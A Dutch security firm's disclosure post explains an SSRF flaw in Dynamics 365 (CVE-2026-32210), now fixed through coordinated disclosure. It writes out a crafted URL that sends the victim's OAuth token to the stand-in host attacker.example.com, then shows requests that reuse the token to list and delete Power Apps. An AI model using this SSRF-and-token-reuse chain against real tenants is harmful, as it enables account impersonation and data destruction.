Maandelijkse vulnerability scanning: Eerste maand kosteloos! Meer informatie →
Hero

WIJ ZIJN

HACKIFY

Microsoft Dynamics 365 SSRF exploit (CVE-2026-32210)

Microsoft Dynamics 365 SSRF exploit (CVE-2026-32210)

12 juni 2026 · 5 min leestijd · Onderzoek

SSRF Microsoft Cloud

Hackify heeft een kwetsbaarheid ontdekt in Microsoft Dynamics 365 (online) waarmee een geauthenticeerde gebruiker via Server-Side Request Forgery (SSRF) de server een uitgaand HTTP-verzoek kon laten uitvoeren naar een door de aanvaller gekozen bestemming. Dat uitgaande verzoek bevatte de OAuth bearer-token van het slachtoffer. Met die token kon vervolgens de Power Platform API worden aangesproken om Power Apps in te zien, te wijzigen en te verwijderen. Microsoft registreerde de kwetsbaarheid als CVE-2026-32210 en heeft deze inmiddels volledig gemitigeerd aan de servicekant. Gebruikers hoeven zelf niets te doen.

Over Microsoft Dynamics 365 en Power Platform

Microsoft Dynamics 365 (online) is een cloudgebaseerd platform voor CRM- en ERP-toepassingen, zoals sales, customer service, finance en operations in één online omgeving. Onder de motorkap draait Dynamics 365 op Dataverse, het dataplatform van Microsoft Power Platform, dat via een Web API wordt ontsloten. Diezelfde Power Platform-laag bedient ook Power Apps, Power Automate en Copilot Studio.

Overzicht

De kwetsbaarheid bevindt zich in het Dataverse Web API-endpoint msdyn_UCIClientAuth van Dynamics 365 (online). Dit endpoint accepteert een door de gebruiker te bepalen URL in de parameter @EndpointEnum. De backend voert vervolgens namens de server een HTTP-verzoek uit naar die URL.

Twee eigenschappen maken dit ernstig. Ten eerste is de SSRF non-blind. De responsbody van het externe verzoek wordt teruggegeven aan de aanroeper en in de Dynamics-pagina gerenderd, dus de aanvaller ziet de respons. Ten tweede lekt de bearer-token. Het uitgaande, server-side verzoek bevat de OAuth bearer-token van de ingelogde gebruiker in de Authorization-header. Door dat verzoek naar een aanvaller-gecontroleerd endpoint te sturen, komt die token bij de aanvaller terecht.

De kwetsbaarheid is aanwezig op de Dynamics 365 (online) omgevings-URL’s in de vorm https://<environment-id>.<region>.dynamics.com en lijkt wereldwijd, over alle regionale endpoints, voor te komen. Iedere geauthenticeerde gebruiker, uit elke tenant, kan slachtoffer worden zodra die verleid wordt een geprepareerde URL te bezoeken.

Analyse

Stap 1: Aanvaller-endpoint opzetten

De aanvaller zet een HTTPS-endpoint op dat inkomende verzoeken volledig logt, inclusief bron-IP en alle request-headers. Dit kan een eigen webserver zijn of Burp Suite Collaborator. In de voorbeelden hieronder staat https://attacker.example.com/demo voor het aanvaller-endpoint; het echte domein laten we hier weg.

Stap 2: De SSRF triggeren

Het slachtoffer is ingelogd in zijn Dynamics 365-omgeving (bijvoorbeeld https://org251c08a7.crm4.dynamics.com) en bezoekt, terwijl die sessie actief is, de volgende URL:

https://org251c08a7.crm4.dynamics.com/api/data/v9.0/msdyn_UCIClientAuth(EndpointEnum=@EndpointEnum,RequestMethod=@RequestMethod,RequestBody=@RequestBody,RequestHeaders=@RequestHeaders)?@EndpointEnum=%27https%3A%2F%2Fattacker.example.com%2Fdemo%27&@RequestMethod=%27GET%27&@RequestBody=null&@RequestHeaders=null

De parameter @EndpointEnum bevat hier het aanvaller-endpoint (https://attacker.example.com/demo), en @RequestMethod staat op GET.

Stap 3: Non-blind SSRF bevestigen

Dynamics voert het server-side verzoek uit naar https://attacker.example.com/demo. De responsbody van die server wordt teruggegeven en in de Dynamics-pagina weergegeven:

{
  "@odata.context": "https://org251c08a7.crm4.dynamics.com/api/data/v9.0/$metadata#Microsoft.Dynamics.CRM.msdyn_UCIClientAuthResponse",
  "statuscode": "200",
  "response": "This is an HTML response from the attacker.example.com website, provided as a demonstration of the SSRF vulnerability.\n"
}

Hiermee is bevestigd dat de SSRF non-blind is. De externe respons komt terug bij de aanroeper.

Stap 4: De bearer-token buitmaken

Op de aanvaller-server verschijnt een inkomend verzoek, afkomstig van een Microsoft-IP-adres, met de Authorization-header van het slachtoffer:

GET /demo HTTP/1.1
From IP: 98.71.111.236
Accept: application/json
Authorization: Bearer eyJ0eXAiOiJKV1Qi...<afgekapt>...
Host: attacker.example.com
Connection: Keep-Alive

De token is een JWT met de volgende relevante claims:

  • Audience (aud): https://api.powerplatform.com
  • Issuer (iss): https://sts.windows.net/<tenant-id>/
  • Geldigheid: circa 70 minuten (iat/exp)
  • Scopes (scp, selectie): PowerApps.Apps.Read, PowerApps.Apps.Update, PowerApps.Apps.Delete, PowerApps.AppPermissions.Create, Connectivity.Connectors.Write, CopilotStudio.Copilots.Invoke, PowerVirtualAgents.Conversations.Read en diverse andere Power Platform- en AI-scopes.

De token is bovendien niet gebonden aan het client-IP of de browsersessie. Daardoor kan de aanvaller hem vanaf een eigen systeem hergebruiken.

Stap 5: De token hergebruiken (Power Apps opsommen)

Met de buitgemaakte token bevraagt de aanvaller de Power Platform API:

GET /powerapps/apps?api-version=1 HTTP/2
Host: <environment-id>.environment.api.powerplatform.com
Authorization: Bearer eyJ0eXAiOiJKV1Qi...<afgekapt>...

De respons (HTTP/2 200 OK) bevat een lijst met Power Apps in de omgeving van het slachtoffer. Dit bevestigt dat de token geldig en herbruikbaar is en niet aan sessie of IP gebonden is. De token werkt tegen onder meer:

  • https://api.powerplatform.com
  • https://<environment-id>.environment.api.powerplatform.com
  • https://<tenant-id>.tenant.api.powerplatform.com

Stap 6: Destructieve actie (Power App verwijderen)

Met dezelfde token kan de aanvaller een Power App verwijderen door de id uit de vorige respons te gebruiken:

DELETE /powerapps/apps/<app-id>?api-version=1 HTTP/2
Host: <environment-id>.environment.api.powerplatform.com
Authorization: Bearer eyJ0eXAiOiJKV1Qi...<afgekapt>...

De Power App wordt verwijderd. Naast verwijderen is ook het wijzigen van Power Apps mogelijk, binnen het rechtenbereik van het slachtoffer, zolang de token geldig is (circa 70 minuten).

Onderstaande video toont de volledige keten, van het triggeren van de SSRF tot het verwijderen van een Power App met de buitgemaakte token.

Impact

Succesvolle exploitatie komt neer op impersonatie van een geauthenticeerde gebruiker binnen diens rechtenbereik. Een aanvaller die een slachtoffer verleidt één geprepareerde URL te openen, kan diens Power Platform bearer-token buitmaken en daarmee Power Apps opsommen, wijzigen en verwijderen. Omdat de kwetsbaarheid op alle regionale Dynamics 365 (online) endpoints aanwezig leek, kon in principe elke geauthenticeerde gebruiker uit elke tenant doelwit zijn.

Metric Waarde
CVE CVE-2026-32210
Type Server-Side Request Forgery (CWE-918), met token-leak (CWE-522) en unintended proxy (CWE-441)
Kwetsbaar component Dataverse Web API (msdyn_UCIClientAuth endpoint); Power Platform REST API
Max severity Critical
CVSS-score (Microsoft) 9.3 / 8.1
CVSS-vector (Microsoft) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N/E:U/RL:O/RC:C
Attack Vector Network
Attack Complexity Low
Privileges Required None
User Interaction Required
Scope Changed
Confidentiality High
Integrity High
Availability None

Remediatie

Deze kwetsbaarheid is door Microsoft volledig gemitigeerd aan de servicekant. Gebruikers van Microsoft Dynamics 365 (online) hoeven zelf geen actie te ondernemen. Het CVE is door Microsoft gepubliceerd in het kader van transparantie over cloud-kwetsbaarheden (zie Toward greater transparency: Unveiling Cloud Service CVEs).

Disclosure timeline

  • 19 feb 2026: Kwetsbaarheid gerapporteerd aan het Microsoft Security Response Center (MSRC); case 107677 geopend
  • 05 mrt 2026: Microsoft bevestigt het gerapporteerde gedrag
  • 11 mrt 2026: Microsoft meldt dat de fix gepland staat
  • 05 apr 2026: Fix afgerond
  • 13 apr 2026: Microsoft kondigt CVE-2026-32210 aan
  • 23 apr 2026: CVE-2026-32210 gepubliceerd
  • 24 apr 2026: Case afgesloten; erkenning bevestigd

Erkenning

Deze kwetsbaarheid is gerapporteerd door Sander Meijering van Hackify. Microsoft erkent de bijdrage van de security-community via coordinated vulnerability disclosure; de erkenning is opgenomen bij CVE-2026-32210.

Referenties

Klaar om uw beveiliging te testen?

Neem vrijblijvend contact met ons op. We denken graag met u mee over de beste aanpak voor uw organisatie.

Neem contact op

Of mail ons direct via [email protected]

Gerelateerde artikelen